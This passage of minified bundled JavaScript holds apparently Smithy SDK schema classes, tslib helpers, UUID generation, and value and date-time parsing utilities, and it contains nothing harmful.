A==="number"?A>=128&&A<=255:A[0]===2}isStructSchema(){let A=this.getSchema();return A[0]===3||A[0]===-3}isBlobSchema(){let A=this.getSchema();return A===21||A===42}isTimestampSchema(){let A=this.getSchema();return typeof A==="number"&&A>=4&&A<=7}isUnitSchema(){return this.getSchema()==="unit"}isDocumentSchema(){return this.getSchema()===15}isStringSchema(){return this.getSchema()===0}isBooleanSchema(){return this.getSchema()===2}isNumericSchema(){return this.getSchema()===1}isBigIntegerSchema(){return this.getSchema()===17}isBigDecimalSchema(){return this.getSchema()===19}isStreaming(){let{streaming:A}=this.getMergedTraits();return!!A||this.getSchema()===42}isIdempotencyToken(){let A=(z)=>(z&4)===4||!!z?.idempotencyToken,{normalizedTraits:K,traits:q,memberTraits:Y}=this;return A(K)||A(q)||A(Y)}getMergedTraits(){return this.normalizedTraits??(this.normalizedTraits={...this.getOwnTraits(),...this.getMemberTraits()})}getMemberTraits(){return NCA(this.memberTraits)}getOwnTraits(){return NCA(this.traits)}getKeySchema(){let[A,K]=[this.isDocumentSchema(),this.isMapSchema()];if(!A&&!K)throw Error(`@smithy/core/schema - cannot get key for non-map: ${this.getName(!0)}`);let q=this.getSchema(),Y=A?15:q[4]??0;return fCA([Y,0],"key")}getValueSchema(){let A=this.getSchema(),[K,q,Y]=[this.isDocumentSchema(),this.isMapSchema(),this.isListSchema()],z=typeof A==="number"?63&A:A&&typeof A==="object"&&(q||Y)?A[3+A[0]]:K?15:void 0;if(z!=null)return fCA([z,0],q?"value":"member");throw Error(`@smithy/core/schema - ${this.getName(!0)} has no value member.`)}getMemberSchema(A){let K=this.getSchema();if(this.isStructSchema()&&K[4].includes(A)){let q=K[4].indexOf(A),Y=K[5][q];return fCA(el1(Y)?Y:[Y,0],A)}if(this.isDocumentSchema())return fCA([15,0],A);throw Error(`@smithy/core/schema - ${this.getName(!0)} has no no member=${A}.`)}getMemberSchemas(){let A={};try{for(let[K,q]of this.structIterator())A[K]=q}catch(K){}return A}getEventStreamMember(){if(this.isStructSchema()){for(let[A,K]of this.structIterator())if(K.isStreaming()&&K.isStructSchema())return A}return""}*structIterator(){if(this.isUnitSchema())return;if(!this.isStructSchema())throw Error("@smithy/core/schema - cannot iterate non-struct schema.");let A=this.getSchema();for(let K=0;K<A[4].length;++K)yield[A[4][K],fCA([A[5][K],0],A[4][K])]}}function fCA(A,K){if(A instanceof UF)return Object.assign(A,{memberName:K,_isMemberSchema:!0});return new UF(A,K)}var el1=(A)=>Array.isArray(A)&&A.length===2,Tm8=(A)=>Array.isArray(A)&&A.length>=5;class vCA extends MV{static symbol=Symbol.for("@smithy/sim");name;schemaRef;traits;symbol=vCA.symbol}var fZ5=(A,K,q,Y)=>MV.assign(new vCA,{name:K,namespace:A,traits:Y,schemaRef:q}),NZ5=(A,K,q,Y)=>MV.assign(new vCA,{name:K,namespace:A,traits:q,schemaRef:Y}),TZ5={BLOB:21,STREAMING_BLOB:42,BOOLEAN:2,STRING:0,NUMERIC:1,BIG_INTEGER:17,BIG_DECIMAL:19,DOCUMENT:15,TIMESTAMP_DEFAULT:4,TIMESTAMP_DATE_TIME:5,TIMESTAMP_HTTP_DATE:6,TIMESTAMP_EPOCH_SECONDS:7,LIST_MODIFIER:64,MAP_MODIFIER:128};class QF{namespace;schemas;exceptions;static registries=new Map;constructor(A,K=new Map,q=new Map){this.namespace=A,this.schemas=K,this.exceptions=q}static for(A){if(!QF.registries.has(A))QF.registries.set(A,new QF(A));return QF.registries.get(A)}register(A,K){let q=this.normalizeShapeId(A);QF.for(q.split("#")[0]).schemas.set(q,K)}getSchema(A){let K=this.normalizeShapeId(A);if(!this.schemas.has(K))throw Error(`@smithy/core/schema - schema not found for ${K}`);return this.schemas.get(K)}registerError(A,K){let q=A,Y=QF.for(q[1]);Y.schemas.set(q[1]+"#"+q[2],q),Y.exceptions.set(q,K)}getErrorCtor(A){let K=A;return QF.for(K[1]).exceptions.get(K)}getBaseException(){for(let A of this.exceptions.keys())if(Array.isArray(A)){let[,K,q]=A,Y=K+"#"+q;if(Y.startsWith("smithy.ts.sdk.synthetic.")&&Y.endsWith("ServiceException"))return A}return}find(A){return[...this.schemas.values()].find(A)}clear(){this.schemas.clear(),this.exceptions.clear()}normalizeShapeId(A){if(A.includes("#"))return A;return this.namespace+"#"+A}}vZ5.ErrorSchema=M61;vZ5.ListSchema=W61;vZ5.MapSchema=D61;vZ5.NormalizedSchema=UF;vZ5.OperationSchema=j61;vZ5.SCHEMA=TZ5;vZ5.Schema=MV;vZ5.SimpleSchema=vCA;vZ5.StructureSchema=TCA;vZ5.TypeRegistry=QF;vZ5.deref=Z61;vZ5.deserializerMiddlewareOption=fm8;vZ5.error=VZ5;vZ5.getSchemaSerdePlugin=WZ5;vZ5.isStaticSchema=Tm8;vZ5.list=DZ5;vZ5.map=jZ5;vZ5.op=MZ5;vZ5.operation=Ai1;vZ5.serializerMiddlewareOption=Nm8;vZ5.sim=fZ5;vZ5.simAdapter=NZ5;vZ5.struct=PZ5;vZ5.translateTraits=NCA});var Uz=v((gsz,f61)=>{var vm8,Em8,km8,Cm8,Lm8,Rm8,ym8,Im8,Sm8,hm8,bm8,xm8,um8,P61,Ki1,Bm8,mm8,gm8,sJA,Fm8,Qm8,Um8,pm8,dm8,cm8,lm8,im8,nm8,V61,rm8,om8,am8;(function(A){var K=typeof global==="object"?global:typeof self==="object"?self:typeof this==="object"?this:{};if(typeof define==="function"&&define.amd)define("tslib",["exports"],function(Y){A(q(K,q(Y)))});else if(typeof f61==="object"&&typeof gsz==="object")A(q(K,q(gsz)));else A(q(K));function q(Y,z){if(Y!==K)if(typeof Object.create==="function")Object.defineProperty(Y,"__esModule",{value:!0});else Y.__esModule=!0;return function(w,H){return Y[w]=z?z(w,H):H}}})(function(A){var K=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(w,H){w.__proto__=H}||function(w,H){for(var J in H)if(Object.prototype.hasOwnProperty.call(H,J))w[J]=H[J]};vm8=function(w,H){if(typeof H!=="function"&&H!==null)throw TypeError("Class extends value "+String(H)+" is not a constructor or null");K(w,H);function J(){this.constructor=w}w.prototype=H===null?Object.create(H):(J.prototype=H.prototype,new J)},Em8=Object.assign||function(w){for(var H,J=1,O=arguments.length;J<O;J++){H=arguments[J];for(var X in H)if(Object.prototype.hasOwnProperty.call(H,X))w[X]=H[X]}return w},km8=function(w,H){var J={};for(var O in w)if(Object.prototype.hasOwnProperty.call(w,O)&&H.indexOf(O)<0)J[O]=w[O];if(w!=null&&typeof Object.getOwnPropertySymbols==="function"){for(var X=0,O=Object.getOwnPropertySymbols(w);X<O.length;X++)if(H.indexOf(O[X])<0&&Object.prototype.propertyIsEnumerable.call(w,O[X]))J[O[X]]=w[O[X]]}return J},Cm8=function(w,H,J,O){var X=arguments.length,$=X<3?H:O===null?O=Object.getOwnPropertyDescriptor(H,J):O,_;if(typeof Reflect==="object"&&typeof Reflect.decorate==="function")$=Reflect.decorate(w,H,J,O);else for(var G=w.length-1;G>=0;G--)if(_=w[G])$=(X<3?_($):X>3?_(H,J,$):_(H,J))||$;return X>3&&$&&Object.defineProperty(H,J,$),$},Lm8=function(w,H){return function(J,O){H(J,O,w)}},Rm8=function(w,H,J,O,X,$){function _(C){if(C!==void 0&&typeof C!=="function")throw TypeError("Function expected");return C}var G=O.kind,Z=G==="getter"?"get":G==="setter"?"set":"value",W=!H&&w?O.static?w:w.prototype:null,D=H||(W?Object.getOwnPropertyDescriptor(W,O.name):{}),j,M=!1;for(var P=J.length-1;P>=0;P--){var f={};for(var N in O)f[N]=N==="access"?{}:O[N];for(var N in O.access)f.access[N]=O.access[N];f.addInitializer=function(C){if(M)throw TypeError("Cannot add initializers after decoration has completed");$.push(_(C||null))};var T=(0,J[P])(G==="accessor"?{get:D.get,set:D.set}:D[Z],f);if(G==="accessor"){if(T===void 0)continue;if(T===null||typeof T!=="object")throw TypeError("Object expected");if(j=_(T.get))D.get=j;if(j=_(T.set))D.set=j;if(j=_(T.init))X.unshift(j)}else if(j=_(T))if(G==="field")X.unshift(j);else D[Z]=j}if(W)Object.defineProperty(W,O.name,D);M=!0},ym8=function(w,H,J){var O=arguments.length>2;for(var X=0;X<H.length;X++)J=O?H[X].call(w,J):H[X].call(w);return O?J:void 0},Im8=function(w){return typeof w==="symbol"?w:"".concat(w)},Sm8=function(w,H,J){if(typeof H==="symbol")H=H.description?"[".concat(H.description,"]"):"";return Object.defineProperty(w,"name",{configurable:!0,value:J?"".concat(J," ",H):H})},hm8=function(w,H){if(typeof Reflect==="object"&&typeof Reflect.metadata==="function")return Reflect.metadata(w,H)},bm8=function(w,H,J,O){function X($){return $ instanceof J?$:new J(function(_){_($)})}return new(J||(J=Promise))(function($,_){function G(D){try{W(O.next(D))}catch(j){_(j)}}function Z(D){try{W(O.throw(D))}catch(j){_(j)}}function W(D){D.done?$(D.value):X(D.value).then(G,Z)}W((O=O.apply(w,H||[])).next())})},xm8=function(w,H){var J={label:0,sent:function(){if($[0]&1)throw $[1];return $[1]},trys:[],ops:[]},O,X,$,_=Object.create((typeof Iterator==="function"?Iterator:Object).prototype);return _.next=G(0),_.throw=G(1),_.return=G(2),typeof Symbol==="function"&&(_[Symbol.iterator]=function(){return this}),_;function G(W){return function(D){return Z([W,D])}}function Z(W){if(O)throw TypeError("Generator is already executing.");while(_&&(_=0,W[0]&&(J=0)),J)try{if(O=1,X&&($=W[0]&2?X.return:W[0]?X.throw||(($=X.return)&&$.call(X),0):X.next)&&!($=$.call(X,W[1])).done)return $;if(X=0,$)W=[W[0]&2,$.value];switch(W[0]){case 0:case 1:$=W;break;case 4:return J.label++,{value:W[1],done:!1};case 5:J.label++,X=W[1],W=[0];continue;case 7:W=J.ops.pop(),J.trys.pop();continue;default:if(($=J.trys,!($=$.length>0&&$[$.length-1]))&&(W[0]===6||W[0]===2)){J=0;continue}if(W[0]===3&&(!$||W[1]>$[0]&&W[1]<$[3])){J.label=W[1];break}if(W[0]===6&&J.label<$[1]){J.label=$[1],$=W;break}if($&&J.label<$[2]){J.label=$[2],J.ops.push(W);break}if($[2])J.ops.pop();J.trys.pop();continue}W=H.call(w,J)}catch(D){W=[6,D],X=0}finally{O=$=0}if(W[0]&5)throw W[1];return{value:W[0]?W[1]:void 0,done:!0}}},um8=function(w,H){for(var J in w)if(J!=="default"&&!Object.prototype.hasOwnProperty.call(H,J))V61(H,w,J)},V61=Object.create?function(w,H,J,O){if(O===void 0)O=J;var X=Object.getOwnPropertyDescriptor(H,J);if(!X||("get"in X?!H.__esModule:X.writable||X.configurable))X={enumerable:!0,get:function(){return H[J]}};Object.defineProperty(w,O,X)}:function(w,H,J,O){if(O===void 0)O=J;w[O]=H[J]},P61=function(w){var H=typeof Symbol==="function"&&Symbol.iterator,J=H&&w[H],O=0;if(J)return J.call(w);if(w&&typeof w.length==="number")return{next:function(){if(w&&O>=w.length)w=void 0;return{value:w&&w[O++],done:!w}}};throw TypeError(H?"Object is not iterable.":"Symbol.iterator is not defined.")},Ki1=function(w,H){var J=typeof Symbol==="function"&&w[Symbol.iterator];if(!J)return w;var O=J.call(w),X,$=[],_;try{while((H===void 0||H-- >0)&&!(X=O.next()).done)$.push(X.value)}catch(G){_={error:G}}finally{try{if(X&&!X.done&&(J=O.return))J.call(O)}finally{if(_)throw _.error}}return $},Bm8=function(){for(var w=[],H=0;H<arguments.length;H++)w=w.concat(Ki1(arguments[H]));return w},mm8=function(){for(var w=0,H=0,J=arguments.length;H<J;H++)w+=arguments[H].length;for(var O=Array(w),X=0,H=0;H<J;H++)for(var $=arguments[H],_=0,G=$.length;_<G;_++,X++)O[X]=$[_];return O},gm8=function(w,H,J){if(J||arguments.length===2){for(var O=0,X=H.length,$;O<X;O++)if($||!(O in H)){if(!$)$=Array.prototype.slice.call(H,0,O);$[O]=H[O]}}return w.concat($||Array.prototype.slice.call(H))},sJA=function(w){return this instanceof sJA?(this.v=w,this):new sJA(w)},Fm8=function(w,H,J){if(!Symbol.asyncIterator)throw TypeError("Symbol.asyncIterator is not defined.");var O=J.apply(w,H||[]),X,$=[];return X=Object.create((typeof AsyncIterator==="function"?AsyncIterator:Object).prototype),G("next"),G("throw"),G("return",_),X[Symbol.asyncIterator]=function(){return this},X;function _(P){return function(f){return Promise.resolve(f).then(P,j)}}function G(P,f){if(O[P]){if(X[P]=function(N){return new Promise(function(T,C){$.push([P,N,T,C])>1||Z(P,N)})},f)X[P]=f(X[P])}}function Z(P,f){try{W(O[P](f))}catch(N){M($[0][3],N)}}function W(P){P.value instanceof sJA?Promise.resolve(P.value.v).then(D,j):M($[0][2],P)}function D(P){Z("next",P)}function j(P){Z("throw",P)}function M(P,f){if(P(f),$.shift(),$.length)Z($[0][0],$[0][1])}},Qm8=function(w){var H,J;return H={},O("next"),O("throw",function(X){throw X}),O("return"),H[Symbol.iterator]=function(){return this},H;function O(X,$){H[X]=w[X]?function(_){return(J=!J)?{value:sJA(w[X](_)),done:!1}:$?$(_):_}:$}},Um8=function(w){if(!Symbol.asyncIterator)throw TypeError("Symbol.asyncIterator is not defined.");var H=w[Symbol.asyncIterator],J;return H?H.call(w):(w=typeof P61==="function"?P61(w):w[Symbol.iterator](),J={},O("next"),O("throw"),O("return"),J[Symbol.asyncIterator]=function(){return this},J);function O($){J[$]=w[$]&&function(_){return new Promise(function(G,Z){_=w[$](_),X(G,Z,_.done,_.value)})}}function X($,_,G,Z){Promise.resolve(Z).then(function(W){$({value:W,done:G})},_)}},pm8=function(w,H){if(Object.defineProperty)Object.defineProperty(w,"raw",{value:H});else w.raw=H;return w};var q=Object.create?function(w,H){Object.defineProperty(w,"default",{enumerable:!0,value:H})}:function(w,H){w.default=H},Y=function(w){return Y=Object.getOwnPropertyNames||function(H){var J=[];for(var O in H)if(Object.prototype.hasOwnProperty.call(H,O))J[J.length]=O;return J},Y(w)};dm8=function(w){if(w&&w.__esModule)return w;var H={};if(w!=null){for(var J=Y(w),O=0;O<J.length;O++)if(J[O]!=="default")V61(H,w,J[O])}return q(H,w),H},cm8=function(w){return w&&w.__esModule?w:{default:w}},lm8=function(w,H,J,O){if(J==="a"&&!O)throw TypeError("Private accessor was defined without a getter");if(typeof H==="function"?w!==H||!O:!H.has(w))throw TypeError("Cannot read private member from an object whose class did not declare it");return J==="m"?O:J==="a"?O.call(w):O?O.value:H.get(w)},im8=function(w,H,J,O,X){if(O==="m")throw TypeError("Private method is not writable");if(O==="a"&&!X)throw TypeError("Private accessor was defined without a setter");if(typeof H==="function"?w!==H||!X:!H.has(w))throw TypeError("Cannot write private member to an object whose class did not declare it");return O==="a"?X.call(w,J):X?X.value=J:H.set(w,J),J},nm8=function(w,H){if(H===null||typeof H!=="object"&&typeof H!=="function")throw TypeError("Cannot use 'in' operator on non-object");return typeof w==="function"?H===w:w.has(H)},rm8=function(w,H,J){if(H!==null&&H!==void 0){if(typeof H!=="object"&&typeof H!=="function")throw TypeError("Object expected.");var O,X;if(J){if(!Symbol.asyncDispose)throw TypeError("Symbol.asyncDispose is not defined.");O=H[Symbol.asyncDispose]}if(O===void 0){if(!Symbol.dispose)throw TypeError("Symbol.dispose is not defined.");if(O=H[Symbol.dispose],J)X=O}if(typeof O!=="function")throw TypeError("Object not disposable.");if(X)O=function(){try{X.call(this)}catch($){return Promise.reject($)}};w.stack.push({value:H,dispose:O,async:J})}else if(J)w.stack.push({async:!0});return H};var z=typeof SuppressedError==="function"?SuppressedError:function(w,H,J){var O=Error(J);return O.name="SuppressedError",O.error=w,O.suppressed=H,O};om8=function(w){function H($){w.error=w.hasError?new z($,w.error,"An error was suppressed during disposal."):$,w.hasError=!0}var J,O=0;function X(){while(J=w.stack.pop())try{if(!J.async&&O===1)return O=0,w.stack.push(J),Promise.resolve().then(X);if(J.dispose){var $=J.dispose.call(J.value);if(J.async)return O|=2,Promise.resolve($).then(X,function(_){return H(_),X()})}else O|=1}catch(_){H(_)}if(O===1)return w.hasError?Promise.reject(w.error):Promise.resolve();if(w.hasError)throw w.error}return X()},am8=function(w,H){if(typeof w==="string"&&/^\.\.?\//.test(w))return w.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i,function(J,O,X,$,_){return O?H?".jsx":".js":X&&(!$||!_)?J:X+$+"."+_.toLowerCase()+"js"});return w},A("__extends",vm8),A("__assign",Em8),A("__rest",km8),A("__decorate",Cm8),A("__param",Lm8),A("__esDecorate",Rm8),A("__runInitializers",ym8),A("__propKey",Im8),A("__setFunctionName",Sm8),A("__metadata",hm8),A("__awaiter",bm8),A("__generator",xm8),A("__exportStar",um8),A("__createBinding",V61),A("__values",P61),A("__read",Ki1),A("__spread",Bm8),A("__spreadArrays",mm8),A("__spreadArray",gm8),A("__await",sJA),A("__asyncGenerator",Fm8),A("__asyncDelegator",Qm8),A("__asyncValues",Um8),A("__makeTemplateObject",pm8),A("__importStar",dm8),A("__importDefault",cm8),A("__classPrivateFieldGet",lm8),A("__classPrivateFieldSet",im8),A("__classPrivateFieldIn",nm8),A("__addDisposableResource",rm8),A("__disposeResources",om8),A("__rewriteRelativeImportExtension",am8)})});var Ag8=v((tm8)=>{Object.defineProperty(tm8,"__esModule",{value:!0});tm8.randomUUID=void 0;var rZ5=Uz(),sm8=rZ5.__importDefault(CA("crypto"));tm8.randomUUID=sm8.default.randomUUID.bind(sm8.default)});var qi1=v((aZ5)=>{var Kg8=Ag8(),DD=Array.from({length:256},(A,K)=>K.toString(16).padStart(2,"0")),oZ5=()=>{if(Kg8.randomUUID)return Kg8.randomUUID();let A=new Uint8Array(16);return crypto.getRandomValues(A),A[6]=A[6]&15|64,A[8]=A[8]&63|128,DD[A[0]]+DD[A[1]]+DD[A[2]]+DD[A[3]]+"-"+DD[A[4]]+DD[A[5]]+"-"+DD[A[6]]+DD[A[7]]+"-"+DD[A[8]]+DD[A[9]]+"-"+DD[A[10]]+DD[A[11]]+DD[A[12]]+DD[A[13]]+DD[A[14]]+DD[A[15]]};aZ5.v4=oZ5});var PV=v(($g8)=>{var tZ5=qi1(),eZ5=(A,K,q=(Y)=>Y)=>A,AW5=(A)=>{switch(A){case"true":return!0;case"false":return!1;default:throw Error(`Unable to parse boolean value "${A}"`)}},KW5=(A)=>{if(A===null||A===void 0)return;if(typeof A==="number"){if(A===0||A===1)LCA.warn(T61(`Expected boolean, got ${typeof A}: ${A}`));if(A===0)return!1;if(A===1)return!0}if(typeof A==="string"){let K=A.toLowerCase();if(K==="false"||K==="true")LCA.warn(T61(`Expected boolean, got ${typeof A}: ${A}`));if(K==="false")return!1;if(K==="true")return!0}if(typeof A==="boolean")return A;throw TypeError(`Expected boolean, got ${typeof A}: ${A}`)},kCA=(A)=>{if(A===null||A===void 0)return;if(typeof A==="string"){let K=parseFloat(A);if(!Number.isNaN(K)){if(String(K)!==String(A))LCA.warn(T61(`Expected number but observed string: ${A}`));return K}}if(typeof A==="number")return A;throw TypeError(`Expected number, got ${typeof A}: ${A}`)},qW5=Math.ceil(340282346638528860000000000000000000000),N61=(A)=>{let K=kCA(A);if(K!==void 0&&!Number.isNaN(K)&&K!==1/0&&K!==-1/0){if(Math.abs(K)>qW5)throw TypeError(`Expected 32-bit float, got ${A}`)}return K},CCA=(A)=>{if(A===null||A===void 0)return;if(Number.isInteger(A)&&!Number.isNaN(A))return A;throw TypeError(`Expected integer, got ${typeof A}: ${A}`)},YW5=CCA,zi1=(A)=>Ji1(A,32),wi1=(A)=>Ji1(A,16),Hi1=(A)=>Ji1(A,8),Ji1=(A,K)=>{let q=CCA(A);if(q!==void 0&&zW5(q,K)!==q)throw TypeError(`Expected ${K}-bit integer, got ${A}`);return q},zW5=(A,K)=>{switch(K){case 32:return Int32Array.of(A)[0];case 16:return Int16Array.of(A)[0];case 8:return Int8Array.of(A)[0]}},wW5=(A,K)=>{if(A===null||A===void 0){if(K)throw TypeError(`Expected a non-null value for ${K}`);throw TypeError("Expected a non-null value")}return A},Yg8=(A)=>{if(A===null||A===void 0)return;if(typeof A==="object"&&!Array.isArray(A))return A;let K=Array.isArray(A)?"array":typeof A;throw TypeError(`Expected object, got ${K}: ${A}`)},HW5=(A)=>{if(A===null||A===void 0)return;if(typeof A==="string")return A;if(["boolean","number","bigint"].includes(typeof A))return LCA.warn(T61(`Expected string, got ${typeof A}: ${A}`)),String(A);throw TypeError(`Expected string, got ${typeof A}: ${A}`)},JW5=(A)=>{if(A===null||A===void 0)return;let K=Yg8(A),q=Object.entries(K).filter(([,Y])=>Y!=null).map(([Y])=>Y);if(q.length===0)throw TypeError("Unions must have exactly one non-null member. None were found.");if(q.length>1)throw TypeError(`Unions must have exactly one non-null member. Keys ${q} were not null.`);return K},Oi1=(A)=>{if(typeof A=="string")return kCA(AOA(A));return kCA(A)},OW5=Oi1,zg8=(A)=>{if(typeof A=="string")return N61(AOA(A));return N61(A)},XW5=/(-?(?:0|[1-9]\d*)(?:\.\d+)?(?:[eE][+-]?\d+)?)|(-?Infinity)|(NaN)/g,AOA=(A)=>{let K=A.match(XW5);if(K===null||K[0].length!==A.length)throw TypeError("Expected real number, got implicit NaN");return parseFloat(A)},Xi1=(A)=>{if(typeof A=="string")return wg8(A);return kCA(A)},$W5=Xi1,_W5=Xi1,GW5=(A)=>{if(typeof A=="string")return wg8(A);return N61(A)},wg8=(A)=>{switch(A){case"NaN":return NaN;case"Infinity":return 1/0;case"-Infinity":return-1/0;default:throw Error(`Unable to parse float value: ${A}`)}},Hg8=(A)=>{if(typeof A==="string")return CCA(AOA(A));return CCA(A)},ZW5=Hg8,WW5=(A)=>{if(typeof A==="string")return zi1(AOA(A));return zi1(A)},tJA=(A)=>{if(typeof A==="string")return wi1(AOA(A));return wi1(A)},Jg8=(A)=>{if(typeof A==="string")return Hi1(AOA(A));return Hi1(A)},T61=(A)=>{return String(TypeError(A).stack||A).split(` `).slice(0,5).filter((K)=>!K.includes("stackTraceWarning")).join(` `)},LCA={warn:console.warn},DW5=["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],$i1=["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"];function jW5(A){let K=A.getUTCFullYear(),q=A.getUTCMonth(),Y=A.getUTCDay(),z=A.getUTCDate(),w=A.getUTCHours(),H=A.getUTCMinutes(),J=A.getUTCSeconds(),O=z<10?`0${z}`:`${z}`,X=w<10?`0${w}`:`${w}`,$=H<10?`0${H}`:`${H}`,_=J<10?`0${J}`:`${J}`;return`${DW5[Y]}, ${O} ${$i1[q]} ${K} ${X}:${$}:${_} GMT`}var MW5=new RegExp(/^(\d{4})-(\d{2})-(\d{2})[tT](\d{2}):(\d{2}):(\d{2})(?:\.(\d+))?[zZ]$/),PW5=(A)=>{if(A===null||A===void 0)return;if(typeof A!=="string")throw TypeError("RFC-3339 date-times must be expressed as strings");let K=MW5.exec(A);if(!K)throw TypeError("Invalid RFC-3339 date-time value");let[q,Y,z,w,H,J,O,X]=K,$=tJA(eJA(Y)),_=mb(z,"month",1,12),G=mb(w,"day",1,31);return ECA($,_,G,{hours:H,minutes:J,seconds:O,fractionalMilliseconds:X})},VW5=new RegExp(/^(\d{4})-(\d{2})-(\d{2})[tT](\d{2}):(\d{2}):(\d{2})(?:\.(\d+))?(([-+]\d{2}\:\d{2})|[zZ])$/),fW5=(A)=>{if(A===null||A===void 0)return;if(typeof A!=="string")throw TypeError("RFC-3339 date-times must be expressed as strings");let K=VW5.exec(A);if(!K)throw TypeError("Invalid RFC-3339 date-time value");let[q,Y,z,w,H,J,O,X,$]=K,_=tJA(eJA(Y)),G=mb(z,"month",1,12),Z=mb(w,"day",1,31),W=ECA(_,G,Z,{hours:H,minutes:J,seconds:O,fractionalMilliseconds:X});if($.toUpperCase()!="Z")W.setTime(W.getTime()-bW5($));return W},NW5=new RegExp(/^(?:Mon|Tue|Wed|Thu|Fri|Sat|Sun), (\d{2}) (Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec) (\d{4}) (\d{1,2}):(\d{2}):(\d{2})(?:\.(\d+))? GMT$/),TW5=new RegExp(/^(?:Monday|Tuesday|Wednesday|Thursday|Friday|Saturday|Sunday), (\d{2})-(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-(\d{2}) (\d{1,2}):(\d{2}):(\d{2})(?:\.(\d+))? GMT$/),vW5=new RegExp(/^(?:Mon|Tue|Wed|Thu|Fri|Sat|Sun) (Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec) ( [1-9]|\d{2}) (\d{1,2}):(\d{2}):(\d{2})(?:\.(\d+))? (\d{4})$/),EW5=(A)=>{if(A===null||A===void 0)return;if(typeof A!=="string")throw TypeError("RFC-7231 date-times must be expressed as strings");let K=NW5.exec(A);if(K){let[q,Y,z,w,H,J,O,X]=K;return ECA(tJA(eJA(w)),Yi1(z),mb(Y,"day",1,31),{hours:H,minutes:J,seconds:O,fractionalMilliseconds:X})}if(K=TW5.exec(A),K){let[q,Y,z,w,H,J,O,X]=K;return RW5(ECA(CW5(w),Yi1(z),mb(Y,"day",1,31),{hours:H,minutes:J,seconds:O,fractionalMilliseconds:X}))}if(K=vW5.exec(A),K){let[q,Y,z,w,H,J,O,X]=K;return ECA(tJA(eJA(X)),Yi1(Y),mb(z.trimLeft(),"day",1,31),{hours:w,minutes:H,seconds:J,fractionalMilliseconds:O})}throw TypeError("Invalid RFC-7231 date-time value")},kW5=(A)=>{if(A===null||A===void 0)return;let K;if(typeof A==="number")K=A;else if(typeof A==="string")K=Oi1(A);else if(typeof A==="object"&&A.tag===1)K=A.value;else throw TypeError("Epoch timestamps must be expressed as floating point numbers or their string representation");if(Number.isNaN(K)||K===1/0||K===-1/0)throw TypeError("Epoch timestamps must be valid, non-Infinite, non-NaN numerics");return new Date(Math.round(K*1000))},ECA=(A,K,q,Y)=>{let z=K-1;return IW5(A,z,q),new Date(Date.UTC(A,z,q,mb(Y.hours,"hour",0,23),mb(Y.minutes,"minute",0,59),mb(Y.seconds,"seconds",0,60),hW5(Y.fractionalMilliseconds)))},CW5=(A)=>{let K=new Date().getUTCFullYear(),q=Math.floor(K/100)*100+tJA(eJA(A));if(q<K)return q+100;return q},LW5=1576800000000,RW5=(A)=>{if(A.getTime()-new Date().getTime()>LW5)return new Date(Date.UTC(A.getUTCFullYear()-100,A.getUTCMonth(),A.getUTCDate(),A.getUTCHours(),A.getUTCMinutes(),A.getUTCSeconds(),A.getUTCMilliseconds()));return A},Yi1=(A)=>{let K=$i1.indexOf(A);if(K<0)throw TypeError(`Invalid month: ${A}`);return K+1},yW5=[31,28,31,30,31,30,31,31,30,31,30,31],IW5=(A,K,q)=>{let Y=yW5[K];if(K===1&&SW5(A))Y=29;if(q>Y)throw TypeError(`Invalid day for ${$i1[K]} in ${A}: ${q}`)},SW5=(A)=>{return A%4===0&&(A%100!==0||A%400===0)},mb=(A,K,q,Y)=>{let z=Jg8(eJA(A));if(z<q||z>Y)throw TypeError(`${K} must be between ${q} and ${Y}, inclusive`);return z},hW5=(A)=>{if(A===null||A===void 0)return 0;return zg8("0."+A)*1000},bW5=(A)=>{let K=A[0],q=1;if(K=="+")q=1;else if(K=="-")q=-1;else throw TypeError(`Offset direction, ${K}, must be "+" or "-"`);let Y=Number(A.substring(1,3)),z=Number(A.substring(4,6));return q*(Y*60+z)*60*1000},eJA=(A)=>{let K=0;while(K<A.length-1&&A.charAt(K)==="0")K++;if(K===0)return A;return A.slice(K)},i6A=function(K){return Object.assign(new String(K),{deserializeJSON(){return JSON.parse(String(K))},toString(){return String(K)},toJSON(){return String(K)}})};i6A.from=(A)=>{if(A&&typeof A==="object"&&(A instanceof i6A||("deserializeJSON"in A)))return A;else if(typeof A==="string"||Object.getPrototypeOf(A)===String.prototype)return i6A(String(A));return i6A(JSON.stringify(A))};i6A.fromObject=i6A.from;function xW5(A){if(A.includes(",")||A.includes('"'))A=`"${A.replace(/"/g,"\\\"")}"`;return A}var _i1="(?:Mon|Tue|Wed|Thu|Fri|Sat|Sun)(?:[ne|u?r]?s?day)?",Gi1="(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)",Zi1="(\\d?\\d):(\\d{2}):(\\d{2})(?:\\.(\\d+))?",Og8="(\\d?\\d)",Xg8="(\\d{4})",uW5=new RegExp(/^(\d{4})-(\d\d)-(\d\d)[tT](\d\d):(\d\d):(\d\d)(\.(\d+))?(([-+]\d\d:\d\d)|[zZ])$/),BW5=new RegExp(`^${_i1}, ${Og8} ${Gi1} ${Xg8} ${Zi1} GMT$`),mW5=new RegExp(`^${_i1}, ${Og8}-${Gi1}-(\\d\\d) ${Zi1} GMT$`),gW5=new RegExp(`^${_i1} ${Gi1} ( [1-9]|\\d\\d) ${Zi1} ${Xg8}$`),FW5=["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],QW5=(A)=>{if(A==null)return;let K=NaN;if(typeof A==="number")K=A;else if(typeof A==="string"){if(!/^-?\d*\.?\d+$/.test(A))throw TypeError("parseEpochTimestamp - numeric string invalid.");K=Number.parseFloat(A)}else if(typeof A==="object"&&A.tag===1)K=A.value;if(isNaN(K)||Math.abs(K)===1/0)throw TypeError("Epoch timestamps must be valid finite numbers.");return new Date(Math.round(K*1000))},UW5=(A)=>{if(A==null)return;if(typeof A!=="string")throw TypeError("RFC3339 timestamps must be strings");let K=uW5.exec(A);if(!K)throw TypeError(`Invalid RFC3339 timestamp format ${A}`);let[,q,Y,z,w,H,J,,O,X]=K;pF(Y,1,12),pF(z,1,31),pF(w,0,23),pF(H,0,59),pF(J,0,60);let $=new 